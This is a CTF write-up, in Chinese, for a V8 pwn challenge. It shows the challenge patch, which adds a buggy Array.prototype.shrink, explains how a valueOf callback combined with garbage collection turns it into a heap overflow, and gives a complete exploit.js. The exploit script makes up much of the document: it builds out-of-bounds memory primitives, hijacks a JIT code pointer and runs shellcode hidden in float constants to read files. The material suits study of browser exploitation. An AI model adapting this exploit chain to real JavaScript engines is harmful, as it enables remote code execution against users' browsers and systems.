SecurinetsCTF 2025 Sukunahikona

写在最前面

👴要成为像 XiaozaYa 师傅那样的全栈神

漏洞分析与利用

首先给出 patch 代码
patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
diff --git a/REVISION b/REVISION
new file mode 100644
index 00000000000..39757636311
--- /dev/null
+++ b/REVISION
@@ -0,0 +1 @@
+5a2307d0f2c5b650c6858e2b9b57b335a59946ff
\ No newline at end of file
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..2552c286b60 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -624,6 +624,45 @@ BUILTIN(ArrayShift) {

return GenericArrayShift(isolate, receiver, length);
}
+BUILTIN(ArrayShrink) {
+ HandleScope scope(isolate);
+ Factory *factory = isolate->factory();
+ Handle<Object> receiver = args.receiver();
+
+ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+ THROW_NEW_ERROR_RETURN_FAILURE(
+ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Oldest trick in the book"))
+ );
+ }
+
+ Handle<JSArray> array = Cast<JSArray>(receiver);
+
+ if (args.length() != 2) {
+ THROW_NEW_ERROR_RETURN_FAILURE(
+ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("specify length to shrink to "))
+ );
+ }
+
+
+ uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+
+ Handle<Object> new_len_obj;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
+ uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));
+
+ if (new_len >= old_len){
+ THROW_NEW_ERROR_RETURN_FAILURE(
+ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("invalid length"))
+ );
+ }
+
+ array->set_length(Smi::FromInt(new_len));
+
+ return ReadOnlyRoots(isolate).undefined_value();
+}

BUILTIN(ArrayUnshift) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..dc60d59e637 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -424,6 +424,8 @@ namespace internal {
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift) \
+ CPP(ArrayShrink) \
+ \
/* ES6 #sec-array.prototype.unshift */ \
CPP(ArrayUnshift) \
/* Support for Array.from and other array-copying idioms */ \
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..045e93e94c8 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3370,47 +3370,47 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, Version));

global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write",
- FunctionTemplate::New(isolate, WriteStdout));
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "writeFile",
- FunctionTemplate::New(isolate, WriteFile));
- }
- global_template->Set(isolate, "read",
- FunctionTemplate::New(isolate, ReadFile));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
+ // global_template->Set(isolate, "printErr",
+ // FunctionTemplate::New(isolate, PrintErr));
+ // global_template->Set(isolate, "write",
+ // FunctionTemplate::New(isolate, WriteStdout));
+ // if (!i::v8_flags.fuzzing) {
+ // global_template->Set(isolate, "writeFile",
+ // FunctionTemplate::New(isolate, WriteFile));
+ // }
+ // global_template->Set(isolate, "read",
+ // FunctionTemplate::New(isolate, ReadFile));
+ // global_template->Set(isolate, "readbuffer",
+ // FunctionTemplate::New(isolate, ReadBuffer));
+ // global_template->Set(isolate, "readline",
+ // FunctionTemplate::New(isolate, ReadLine));
+ // global_template->Set(isolate, "load",
+ // FunctionTemplate::New(isolate, ExecuteFile));
+ // global_template->Set(isolate, "setTimeout",
+ // FunctionTemplate::New(isolate, SetTimeout));
// Some Emscripten-generated code tries to call 'quit', which in turn would
// call C's exit(). This would lead to memory leaks, because there is no way
// we can terminate cleanly then, so we need a way to hide 'quit'.
- if (!options.omit_quit) {
- global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
- }
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
+ // if (!options.omit_quit) {
+ // global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+ // }
+ // global_template->Set(isolate, "testRunner",
+ // Shell::CreateTestRunnerTemplate(isolate));
+ // global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
+ // global_template->Set(isolate, "performance",
+ // Shell::CreatePerformanceTemplate(isolate));
+ // global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));

// Prevent fuzzers from creating side effects.
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
+ // if (!i::v8_flags.fuzzing) {
+ // global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
+ // }
+ // global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));

- if (i::v8_flags.expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
+ // if (i::v8_flags.expose_async_hooks) {
+ // global_template->Set(isolate, "async_hooks",
+ // Shell::CreateAsyncHookTemplate(isolate));
+ // }

return global_template;
}
@@ -3719,10 +3719,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}

- isolate->SetHostImportModuleDynamicallyCallback(
- Shell::HostImportModuleDynamically);
- isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ // isolate->SetHostImportModuleDynamicallyCallback(
+ // Shell::HostImportModuleDynamically);
+ // isolate->SetHostInitializeImportMetaObjectCallback(
+ // Shell::HostInitializeImportMetaObject);
isolate->SetHostCreateShadowRealmContextCallback(
Shell::HostCreateShadowRealmContext);

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..c8c5c2eda25 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2535,6 +2535,9 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
true);
SimpleInstallFunction(isolate_, proto, "concat",
Builtin::kArrayPrototypeConcat, 1, false);
+
+ SimpleInstallFunction(isolate_, proto, "shrink",
+ Builtin::kArrayShrink, 1, false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtin::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill", Builtin::kArrayPrototypeFill,
diff --git a/to_give/args.gn b/to_give/args.gn
new file mode 100644
index 00000000000..a9991ad8f2f
--- /dev/null
+++ b/to_give/args.gn
@@ -0,0 +1,12 @@
+# Build arguments go here.
+# See "gn args <out_dir> --list" for available build arguments.
+is_component_build = false
+is_debug = false
+target_cpu = "x64"
+v8_enable_sandbox = false
+v8_enable_backtrace = true
+v8_enable_disassembler = true
+v8_enable_object_print = true
+dcheck_always_on = false
+use_goma = false
+v8_code_pointer_sandboxing = false
diff --git a/to_give/d8 b/to_give/d8
new file mode 100755
index 00000000000..37bcbb578c5
Binary files /dev/null and b/to_give/d8 differ
diff --git a/to_give/patch b/to_give/patch
new file mode 100644
index 00000000000..ee81b52da10
--- /dev/null
+++ b/to_give/patch
@@ -0,0 +1,78 @@
+diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
+index ea45a7ada6b..2552c286b60 100644
+--- a/src/builtins/builtins-array.cc
++++ b/src/builtins/builtins-array.cc
+@@ -624,6 +624,45 @@ BUILTIN(ArrayShift) {
+
+ return GenericArrayShift(isolate, receiver, length);
+ }
++BUILTIN(ArrayShrink) {
++ HandleScope scope(isolate);
++ Factory *factory = isolate->factory();
++ Handle<Object> receiver = args.receiver();
++
++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
++ THROW_NEW_ERROR_RETURN_FAILURE(
++ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
++ factory->NewStringFromAsciiChecked("Oldest trick in the book"))
++ );
++ }
++
++ Handle<JSArray> array = Cast<JSArray>(receiver);
++
++ if (args.length() != 2) {
++ THROW_NEW_ERROR_RETURN_FAILURE(
++ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
++ factory->NewStringFromAsciiChecked("specify length to shrink to "))
++ );
++ }
++
++
++ uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()));
++
++ Handle<Object> new_len_obj;
++ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
++ uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));
++
++ if (new_len >= old_len){
++ THROW_NEW_ERROR_RETURN_FAILURE(
++ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
++ factory->NewStringFromAsciiChecked("invalid length"))
++ );
++ }
++
++ array->set_length(Smi::FromInt(new_len));
++
++ return ReadOnlyRoots(isolate).undefined_value();
++}
+
+ BUILTIN(ArrayUnshift) {
+ HandleScope scope(isolate);
+diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
+index 78cbf8874ed..dc60d59e637 100644
+--- a/src/builtins/builtins-definitions.h
++++ b/src/builtins/builtins-definitions.h
+@@ -424,6 +424,8 @@ namespace internal {
+ TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
+ /* ES6 #sec-array.prototype.shift */ \
+ CPP(ArrayShift) \
++ CPP(ArrayShrink) \
++ \
+ /* ES6 #sec-array.prototype.unshift */ \
+ CPP(ArrayUnshift) \
+ /* Support for Array.from and other array-copying idioms */ \
+diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
+index 48249695b7b..c8c5c2eda25 100644
+--- a/src/init/bootstrapper.cc
++++ b/src/init/bootstrapper.cc
+@@ -2535,6 +2535,9 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
+ true);
+ SimpleInstallFunction(isolate_, proto, "concat",
+ Builtin::kArrayPrototypeConcat, 1, false);
++
++ SimpleInstallFunction(isolate_, proto, "shrink",
++ Builtin::kArrayShrink, 1, false);
+ SimpleInstallFunction(isolate_, proto, "copyWithin",
+ Builtin::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "fill", Builtin::kArrayPrototypeFill,
+
diff --git a/to_give/snapshot_blob.bin b/to_give/snapshot_blob.bin
new file mode 100644
index 00000000000..9bb75698752
Binary files /dev/null and b/to_give/snapshot_blob.bin differ
diff --git a/tools/mb/mb.py b/tools/mb/mb.py
index 33b15a401fc..ada192695ed 100755
--- a/tools/mb/mb.py
+++ b/tools/mb/mb.py
@@ -18,7 +18,7 @@ import ast
import errno
import json
import os
-import pipes
+import shlex as pipes
import platform
import pprint
import re
diff --git a/tools/rust b/tools/rust
new file mode 160000
index 00000000000..f93e7ca2a64
--- /dev/null
+++ b/tools/rust
@@ -0,0 +1 @@
+Subproject commit f93e7ca2a64938e9b4759ec3297f02ca7b3f605f
diff --git a/tools/win b/tools/win
new file mode 160000
index 00000000000..2cbfc8d2e5e
--- /dev/null
+++ b/tools/win
@@ -0,0 +1 @@
+Subproject commit 2cbfc8d2e5ef4a6afd9774e9a9eaebd921a9f248

第一眼看过去好像并不存在漏洞🤔,这个 patch 给 array 对象写了个 shrink 函数,该函数接收一个 new_len 用来替换 array 的 old_len,且要求 new_len 必须小于 old_len

1
2
3
4
5
6
++  if (new_len >= old_len){
++ THROW_NEW_ERROR_RETURN_FAILURE(
++ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
++ factory->NewStringFromAsciiChecked("invalid length"))
++ );
++ }

这题的漏洞在于下面段代码:

1
2
3
++  Handle<Object> new_len_obj;
++ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
++ uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));

注意这里调用了 Object::ToNumber 来处理 shrink 方法返回一个数值,表示转换后的数字。当传入的值无法转换为有效的数字时,ToNumber 方法将返回 NaN。如果传入的值是一个对象,ToNumber 方法将调用该对象的 valueOf 方法并尝试将其返回值转换为数字。

很明显这地方存在一个问题,我们可以知道 old_len 是在一开始就通过下面这段代码获取的:

1
++ uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()));

如果我们传入 shrink 的是一个对象且有 valueOf 方法,那么在调用 ToNumber 的时候就会执行 valueOf 方法中的内容并获取一个值。

我们可以在 valueOf 里面将 array 的 length 给改小并通过多次申请内存来触发 GC 的回收,并返回一个比原来 old_len 小的数来作为 new_len。这个时候 array 的 length 已经给改小且原有的在 length 之外的内存已经被 GC 回收,而 old_len 是在 array 的 len 给改小前获取的,也就是说 old_len 大于 array 目前的 length(now_length)。这个时候只需通过合理的构造即可实现 now_len < new_len < old_len 进而出现堆溢出:)

这道题有个坑点就是远程的 d8 是通过以下代码启动并返回结果的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3 

# With credit/inspiration to the v8 problem in downUnder CTF 2020

import os
import subprocess
import sys
import tempfile

def p(a):
print(a, flush=True)

MAX_SIZE = 20000
input_size = int(input("Provide size. Must be < 5k:"))
if input_size >= MAX_SIZE:
p(f"Received size of {input_size}, which is too big")
sys.exit(-1)
p(f"Provide script please!!")
script_contents = sys.stdin.read(input_size)
p(script_contents)
with tempfile.NamedTemporaryFile(buffering=0) as f:
f.write(script_contents.encode("utf-8"))
p("File written. Running. Timeout is 20s")
res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p("Run Complete")
p(f"Stdout {res.stdout}")
p(f"Stderr {res.stderr}")

我们是无法在远程获取 shell 的,只能获取 js 的运行结果,所以我们需要使用 orw 来将 flag 读出来

exploit.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}

function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}

function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}

function hexx(str, val) {
console.log("\033[32m"+"[+] "+str.padEnd(32, ' ')+": 0x"+val.toString(16).padStart(16, '0')+"\033[0m");
}

function foo() {
return [
1.0,
1.97111552590436e-246,
1.9555091864988971e-246,
1.9563329239833895e-246,
1.97118242283721e-246,
1.9920294542159152e-246,
1.9314754824824017e-246,
1.9711291562950226e-246,
1.9560110683301727e-246,
1.9710306750462755e-246,
1.9711211830517716e-246,
1.971182898881177e-246,
];
}

for (let i = 0; i < 0x100000; i++) {
foo();
foo();
}

var roots = new Array(0x30000);
var index = 0;

function add_ref(obj) {
roots[index++] = obj;
}

function major_gc() {
new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}

function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

var mm1 = null;
var mm2 = null;
var mm3 = null;
var oob = new Array(200).fill(1.1);
let new_len = {
valueOf:function() {
oob.length = 4;
mm1 = new Array(10).fill(2.2);
mm2 = new Array(10).fill({});
mm2 = new Array(10).fill(3.3);
minor_gc();
return 199;
}
}

oob.shrink(new_len);

var obj_arr = [0xdead, 0xbeef, foo, obj_arr, oob, oob];
var victim_arr = [2.2, 3.3];

var leak = d2u(oob[80]) & 0xffffffffn;
var func_addr = leak & 0xffffffffn;

hexx("leak", leak);
hexx("func_addr", func_addr);

oob[86] = u2d((func_addr << 32n) | func_addr);

var code_ptr = (d2u(victim_arr[0]) >> 32n) + 0xcn;
hexx("code_ptr", code_ptr);

oob[86] = u2d((code_ptr << 32n) | code_ptr);

var orw_addr = (d2u(victim_arr[0]));
hexx("orw code addr", orw_addr);

victim_arr[0] = u2d(orw_addr + 0x7en - 15n);

foo();